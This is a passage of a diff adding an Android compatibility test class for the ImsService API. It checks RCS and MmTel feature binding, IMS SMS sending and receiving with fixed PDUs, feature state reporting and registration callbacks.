+ * CTS tests for ImsService API.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ImsServiceTest {
+
+    private static ImsServiceConnector sServiceConnector;
+
+    private static final int RCS_CAP_NONE = RcsImsCapabilities.CAPABILITY_TYPE_NONE;
+    private static final int RCS_CAP_OPTIONS = RcsImsCapabilities.CAPABILITY_TYPE_OPTIONS_UCE;
+    private static final int RCS_CAP_PRESENCE = RcsImsCapabilities.CAPABILITY_TYPE_PRESENCE_UCE;
+
+    private static final String MSG_CONTENTS = "hi";
+    private static final String EXPECTED_RECEIVED_MESSAGE = "foo5";
+    private static final String DEST_NUMBER = "5555554567";
+    private static final String SRC_NUMBER = "5555551234";
+    private static final byte[] EXPECTED_PDU =
+            new byte[]{1, 0, 10, -127, 85, 85, 85, 33, 67, 0, 0, 2, -24, 52};
+    private static final String RECEIVED_MESSAGE = "B5EhYBMDIPgEC5FhBWKFkPEAAEGQQlGDUooE5ve7Bg==";
+    private static final byte[] STATUS_REPORT_PDU =
+            hexStringToByteArray("0006000681214365919061800000639190618000006300");
+
+    private static int sTestSlot = 0;
+    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+
+    private static final int TEST_CONFIG_KEY = 1000;
+    private static final int TEST_CONFIG_VALUE_INT = 0xDEADBEEF;
+    private static final String TEST_CONFIG_VALUE_STRING = "DEADBEEF";
+
+    private static CarrierConfigReceiver sReceiver;
+
+    private static class CarrierConfigReceiver extends BroadcastReceiver {
+        private CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+                if (mSubId == subId) {
+                    mLatch.countDown();
+                }
+            }
+        }
+
+        void clearQueue() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void waitForCarrierConfigChanged() throws Exception {
+            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    @BeforeClass
+    public static void beforeAllTests() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        TelephonyManager tm = (TelephonyManager) getContext()
+                .getSystemService(Context.TELEPHONY_SERVICE);
+        sTestSub = ImsUtils.getPreferredActiveSubId();
+        sTestSlot = SubscriptionManager.getSlotIndex(sTestSub);
+        if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
+            return;
+        }
+        sServiceConnector = new ImsServiceConnector(InstrumentationRegistry.getInstrumentation());
+        // Remove all live ImsServices until after these tests are done
+        sServiceConnector.clearAllActiveImsServices(sTestSlot);
+        // Configure SMS receiver based on the Android version.
+        sServiceConnector.setDefaultSmsApp();
+
+        sReceiver = new CarrierConfigReceiver(sTestSub);
+        IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+        // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+        InstrumentationRegistry.getInstrumentation().getContext()
+                .registerReceiver(sReceiver, filter);
+    }
+
+    @AfterClass
+    public static void afterAllTests() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Restore all ImsService configurations that existed before the test.
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectServices();
+        }
+        sServiceConnector = null;
+
+        // Ensure there are no CarrierConfig overrides as well as reset the ImsResolver in case the
+        // ImsService override changed in CarrierConfig while we were overriding it.
+        overrideCarrierConfig(null);
+
+        if (sReceiver != null) {
+            InstrumentationRegistry.getInstrumentation().getContext().unregisterReceiver(sReceiver);
+            sReceiver = null;
+        }
+    }
+
+    @Before
+    public void beforeTest() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        TelephonyManager tm = (TelephonyManager) InstrumentationRegistry.getInstrumentation()
+                .getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
+            fail("This test requires that there is a SIM in the device!");
+        }
+    }
+
+    @After
+    public void afterTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Unbind the GTS ImsService after the test completes.
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectCarrierImsService();
+            sServiceConnector.disconnectDeviceImsService();
+        }
+    }
+
+    @Test
+    public void testCarrierImsServiceBindRcsFeature() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS);
+        assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+                sServiceConnector.getCarrierService().getRcsFeature());
+    }
+
+    @Test
+    public void testCarrierImsServiceBindMmTelFeature() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to the ImsService with the MmTel feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .build()));
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL);
+        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+    }
+
+    @Test
+    public void testCarrierImsServiceBindRcsFeatureEnableDisableIms() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS));
+
+        //Enable IMS and ensure that we receive the call to enable IMS in the ImsService.
+        sServiceConnector.enableImsService(sTestSlot);
+        // Wait for command in ImsService
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_ENABLE_IMS));
+        assertTrue(sServiceConnector.getCarrierService().isEnabled());
+
+        //Disable IMS and ensure that we receive the call to enable IMS in the ImsService.
+        sServiceConnector.disableImsService(sTestSlot);
+        // Wait for command in ImsService
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_DISABLE_IMS));
+        assertFalse(sServiceConnector.getCarrierService().isEnabled());
+    }
+
+    @Test
+    public void testCarrierImsServiceBindRcsChangeToMmtel() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS));
+
+        // Change the supported feature to MMTEl
+        sServiceConnector.getCarrierService().getImsService().onUpdateSupportedImsFeatures(
+                new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL).build());
+
+        // createMmTelFeature should be called.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+    }
+
+    @Test
+    public void testCarrierImsServiceBindMmTelNoEmergency() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to the ImsService with the MMTEL feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .build()));
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+    }
+
+    @Test
+    public void testCarrierImsServiceBindMmTelEmergencyEnabled() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to the ImsService with the MMTEL feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+                .build()));
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+    }
+
+    @Test
+    public void testDeviceImsServiceBindRcsFeature() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS));
+        // Make sure the RcsFeature was created in the test service.
+        assertTrue("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                        + "called!", sServiceConnector.getExternalService().isRcsFeatureCreated());
+    }
+
+    @Test
+    public void testBindDeviceAndCarrierDifferentFeatures() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to Device the ImsService with the MMTEL/EMERGENCY_MMTEL feature.
+        assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .build()));
+        // Connect to Device the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+        // Make sure the MmTelFeature was created in the test service.
+        assertTrue("Device ImsService created, but TestDeviceImsService#createMmTelFeature was"
+                + "not called!", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS));
+        assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+                sServiceConnector.getCarrierService().getRcsFeature());
+    }
+
+    @Test
+    public void testBindDeviceAndCarrierSameFeature() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to Device the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .build()));
+
+        //First MMTEL feature is created on device ImsService.
+        assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+        assertTrue("Device ImsService created, but TestDeviceImsService#createMmTelFeature was "
+                + "not called!", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+
+        // Connect to Device the ImsService with the MMTEL feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+                .build()));
+
+        // Next MMTEL feature is created on carrier ImsService (and unbound on device)
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+        assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+
+        // Ensure that the MmTelFeature was removed on the device ImsService.
+        assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+                TestImsService.LATCH_REMOVE_MMTEL));
+        assertFalse("Device ImsService was never removed when carrier ImsService took MMTEL."
+                + "feature.", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+    }
+
+    @Test
+    public void testBindDeviceAndCarrierUpdateToSameFeature() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to Device the ImsService with the MMTEL feature.
+        assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .build()));
+
+        //First MMTEL feature is created on device ImsService.
+        assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+        assertTrue("Device ImsService created, but TestDeviceImsService#createMmTelFeature was"
+                + "not called!", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+
+        // Connect to Device the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+
+        // Next Rcs feature is created on carrier ImsService
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS));
+        assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+                sServiceConnector.getCarrierService().getRcsFeature());
+
+        // Change the supported feature to MMTEl
+        sServiceConnector.getCarrierService().getImsService().onUpdateSupportedImsFeatures(
+                new ImsFeatureConfiguration.Builder()
+                        .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                        .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+                        .build());
+
+        // MMTEL feature is created on carrier ImsService
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+
+        // Ensure that the MmTelFeature was removed on the device ImsService.
+        assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+                TestImsService.LATCH_REMOVE_MMTEL));
+        assertFalse("Device ImsService was never removed when carrier ImsService took MMTEL."
+                + "feature.", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+
+        // Ensure that the RcsFeature was removed on the carrier ImsService.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_REMOVE_RCS));
+        assertNull(sServiceConnector.getCarrierService().getRcsFeature());
+    }
+
+    @Test
+    public void testMmTelSendSms() throws Exception {
+        if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+            return;
+        }
+
+        setupImsServiceForSms();
+        // Send Message with sent PendingIntent requested
+        SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+                DEST_NUMBER, MSG_CONTENTS, SmsReceiverHelper.getMessageSentPendingIntent(
+                        InstrumentationRegistry.getInstrumentation().getTargetContext()), null);
+        assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+                .getSmsImplementation().waitForMessageSentLatch());
+
+        // Wait for send PendingIntent
+        Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageSentIntent(
+                ImsUtils.TEST_TIMEOUT_MS);
+        assertNotNull("SMS send PendingIntent never received", intent);
+        assertEquals("SMS send PendingIntent should have result RESULT_OK",
+                Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+                        Activity.RESULT_CANCELED));
+
+        // Ensure we receive correct PDU on the other side.
+        Assert.assertArrayEquals(EXPECTED_PDU, sServiceConnector.getCarrierService()
+                .getMmTelFeature().getSmsImplementation().sentPdu);
+    }
+
+    @Test
+    public void testMmTelSendSmsDeliveryReportQCompat() throws Exception {
+        if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+            return;
+        }
+
+        setupImsServiceForSms();
+        // Send Message with sent PendingIntent requested
+        SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+                DEST_NUMBER, MSG_CONTENTS, null, SmsReceiverHelper.getMessageDeliveredPendingIntent(
+                        InstrumentationRegistry.getInstrumentation().getTargetContext()));
+        assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+                .getSmsImplementation().waitForMessageSentLatch());
+
+        // Ensure we receive correct PDU on the other side.
+        // Set TP-Status-Report-Request bit as well for this case.
+        byte[] pduWithStatusReport = EXPECTED_PDU.clone();
+        pduWithStatusReport[0] |= 0x20;
+        Assert.assertArrayEquals(pduWithStatusReport, sServiceConnector.getCarrierService()
+                .getMmTelFeature().getSmsImplementation().sentPdu);
+
+        // Ensure the API works on Q as well as in R+, where it was deprecated.
+        sServiceConnector.getCarrierService().getMmTelFeature().getSmsImplementation()
+                .sendReportWaitForAcknowledgeSmsReportPQ(0, SmsMessage.FORMAT_3GPP,
+                        STATUS_REPORT_PDU);
+
+        // Wait for delivered PendingIntent
+        Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageDeliveredIntent(
+                ImsUtils.TEST_TIMEOUT_MS);
+        assertNotNull("SMS delivered PendingIntent never received", intent);
+        assertEquals("SMS delivered PendingIntent should have result RESULT_OK",
+                Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+                        Activity.RESULT_CANCELED));
+    }
+
+    @Test
+    public void testMmTelSendSmsDeliveryReportR() throws Exception {
+        if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+            return;
+        }
+
+        setupImsServiceForSms();
+        // Send Message with sent PendingIntent requested
+        SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+                DEST_NUMBER, MSG_CONTENTS, null, SmsReceiverHelper.getMessageDeliveredPendingIntent(
+                        InstrumentationRegistry.getInstrumentation().getTargetContext()));
+        assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+                .getSmsImplementation().waitForMessageSentLatch());
+
+        // Ensure we receive correct PDU on the other side.
+        // Set TP-Status-Report-Request bit as well for this case.
+        byte[] pduWithStatusReport = EXPECTED_PDU.clone();
+        pduWithStatusReport[0] |= 0x20;
+        Assert.assertArrayEquals(pduWithStatusReport, sServiceConnector.getCarrierService()
+                .getMmTelFeature().getSmsImplementation().sentPdu);
+
+        sServiceConnector.getCarrierService().getMmTelFeature().getSmsImplementation()
+                .sendReportWaitForAcknowledgeSmsReportR(123456789, SmsMessage.FORMAT_3GPP,
+                        STATUS_REPORT_PDU);
+
+        // Wait for delivered PendingIntent
+        Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageDeliveredIntent(
+                ImsUtils.TEST_TIMEOUT_MS);
+        assertNotNull("SMS delivered PendingIntent never received", intent);
+        assertEquals("SMS delivered PendingIntent should have result RESULT_OK",
+                Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+                        Activity.RESULT_CANCELED));
+    }
+
+    @Test
+    public void testMmTelSendSmsRSuccess() throws Exception {
+        if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+            return;
+        }
+
+        setupImsServiceForSms();
+
+        // Send Message
+        SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+                DEST_NUMBER, MSG_CONTENTS, SmsReceiverHelper.getMessageSentPendingIntent(
+                        InstrumentationRegistry.getInstrumentation().getTargetContext()), null);
+        // Use R specific API for sending SMS result
+        assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+                .getSmsImplementation().waitForMessageSentLatchSuccess());
+        Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageSentIntent(
+                ImsUtils.TEST_TIMEOUT_MS);
+        assertNotNull(intent);
+        assertEquals(Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+                    Activity.RESULT_CANCELED));
+
+        // Ensure we receive correct PDU on the other side.
+        Assert.assertArrayEquals(EXPECTED_PDU, sServiceConnector.getCarrierService()
+                .getMmTelFeature().getSmsImplementation().sentPdu);
+    }
+
+    @Test
+    public void testMmTelSendSmsNetworkError() throws Exception {
+        if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+            return;
+        }
+
+        setupImsServiceForSms();
+
+        // Send Message
+        SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+                DEST_NUMBER, MSG_CONTENTS, SmsReceiverHelper.getMessageSentPendingIntent(
+                        InstrumentationRegistry.getInstrumentation().getContext()), null);
+        assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+                .getSmsImplementation().waitForMessageSentLatchError(
+                        SmsManager.RESULT_ERROR_GENERIC_FAILURE, 41));
+        Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageSentIntent(
+                ImsUtils.TEST_TIMEOUT_MS);
+        assertNotNull(intent);
+        // In the case of error, the PendingIntent result will not report OK
+        assertNotEquals(Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+                Activity.RESULT_OK));
+        // make sure the "errorCode" extra contains the network error code returned by the
+        // ImsService.
+        assertEquals(41, intent.getIntExtra("errorCode", 0));
+
+        // Ensure we receive correct PDU on the other side.
+        Assert.assertArrayEquals(EXPECTED_PDU, sServiceConnector.getCarrierService()
+                .getMmTelFeature().getSmsImplementation().sentPdu);
+    }
+
+    @Test
+    public void testMmTelReceiveSms() throws Exception {
+        if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+            return;
+        }
+
+        setupImsServiceForSms();
+
+        // Message received
+        sServiceConnector.getCarrierService().getMmTelFeature().getSmsImplementation()
+                .receiveSmsWaitForAcknowledge(123456789, SmsMessage.FORMAT_3GPP,
+                        Base64.decode(RECEIVED_MESSAGE, Base64.DEFAULT));
+
+        // Wait for SMS received intent and ensure it is correct.
+        String receivedMessage = AsyncSmsMessageListener.getInstance()
+                .waitForSmsMessage(ImsUtils.TEST_TIMEOUT_MS);
+        assertEquals(EXPECTED_RECEIVED_MESSAGE, receivedMessage);
+    }
+
+    @Test
+    public void testGetFeatureState() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // This will set feature state to ready
+        triggerFrameworkConnectToCarrierImsService();
+
+        Integer result = getFeatureState();
+        assertNotNull(result);
+
+        assertTrue("ImsService state is ready, but STATE_READY is not reported.",
+                ImsUtils.retryUntilTrue(() -> (getFeatureState() == ImsFeature.STATE_READY)));
+
+        sServiceConnector.getCarrierService().getMmTelFeature().setFeatureState(
+                ImsFeature.STATE_INITIALIZING);
+        result = getFeatureState();
+        assertNotNull(result);
+        assertTrue("ImsService state is initializing, but STATE_INITIALIZING is not reported.",
+                ImsUtils.retryUntilTrue(
+                        () -> (getFeatureState() == ImsFeature.STATE_INITIALIZING)));
+
+        sServiceConnector.getCarrierService().getMmTelFeature().setFeatureState(
+                ImsFeature.STATE_UNAVAILABLE);
+        result = getFeatureState();
+        assertNotNull(result);
+        assertTrue("ImsService state is unavailable, but STATE_UNAVAILABLE is not reported.",
+                ImsUtils.retryUntilTrue(
+                        () -> (getFeatureState() == ImsFeature.STATE_UNAVAILABLE)));
+    }
+
+    private Integer getFeatureState() throws Exception {
+        ImsMmTelManager mmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+        LinkedBlockingQueue<Integer> state = new LinkedBlockingQueue<>(1);
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mmTelManager,
+                (m) -> m.getFeatureState(Runnable::run, state::offer), ImsException.class);
+        return state.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
+    @Test
+    public void testMmTelManagerRegistrationCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        // Start deregistered
+        sServiceConnector.getCarrierService().getImsRegistration().onDeregistered(
+                new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED,
+                        ImsReasonInfo.CODE_UNSPECIFIED, ""));
+
+        // This is a little bit gross looking, but on P devices, I can not define classes that
+        // extend ImsMmTelManager.RegistrationCallback (because it doesn't exist), so this has to
+        // happen as an anon class here.
+        LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
+        // Deprecated in R, see testMmTelManagerRegistrationCallbackR below.
+        ImsMmTelManager.RegistrationCallback callback = new ImsMmTelManager.RegistrationCallback() {
+            @Override
+            public void onRegistered(int imsTransportType) {
+                mQueue.offer(imsTransportType);
+            }
+
+            @Override
+            public void onRegistering(int imsTransportType) {
+                mQueue.offer(imsTransportType);
+            }
+
+            @Override
+            public void onUnregistered(ImsReasonInfo info) {
+                mQueue.offer(info.getCode());
+            }
+
+            @Override
+            public void onTechnologyChangeFailed(int imsTransportType, ImsReasonInfo info) {
+                mQueue.offer(imsTransportType);
+                mQueue.offer(info.getCode());
+            }
+        };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            ImsMmTelManager mmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+            mmTelManager.registerImsRegistrationCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+        assertEquals(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED, waitForIntResult(mQueue));
+
+
+        // Start registration
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
+
+        // Complete registration
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
+
+        // Fail handover to IWLAN
+        sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
+                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+                new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE,
+                        ImsReasonInfo.CODE_UNSPECIFIED, ""));
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
+        assertEquals(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE, waitForIntResult(mQueue));
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            ImsMmTelManager mmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+            mmTelManager.unregisterImsRegistrationCallback(callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testMmTelManagerRegistrationStateR() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        RegistrationManager regManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+        LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        // Start deregistered
+        sServiceConnector.getCarrierService().getImsRegistration().onDeregistered(
+                new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED,
+                        ImsReasonInfo.CODE_UNSPECIFIED, ""));
+
+        RegistrationManager.RegistrationCallback callback =
+                new RegistrationManager.RegistrationCallback() {
+                    @Override
+                    public void onRegistered(int imsTransportType) {
+                        mQueue.offer(imsTransportType);
+                    }
+
+                    @Override
+                    public void onRegistering(int imsTransportType) {
+                        mQueue.offer(imsTransportType);
+                    }
+
+                    @Override
+                    public void onUnregistered(ImsReasonInfo info) {
+                        mQueue.offer(info.getCode());
+                    }
+
+                    @Override
+                    public void onTechnologyChangeFailed(int imsTransportType, ImsReasonInfo info) {
+                        mQueue.offer(imsTransportType);
+                        mQueue.offer(info.getCode());
+                    }
+                };
+
+        ImsMmTelManager mmTelManager =
+                ImsMmTelManager.createForSubscriptionId(sTestSub);
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mmTelManager,
+                (m) -> m.registerImsRegistrationCallback(getContext().getMainExecutor(), callback),
+                ImsException.class);
+        assertEquals(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED, waitForIntResult(mQueue));
+
+        // Ensure that the Framework reports Deregistered correctly
+        verifyRegistrationState(regManager, RegistrationManager.REGISTRATION_STATE_NOT_REGISTERED);
+        verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_INVALID);
+
+        // Start registration
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
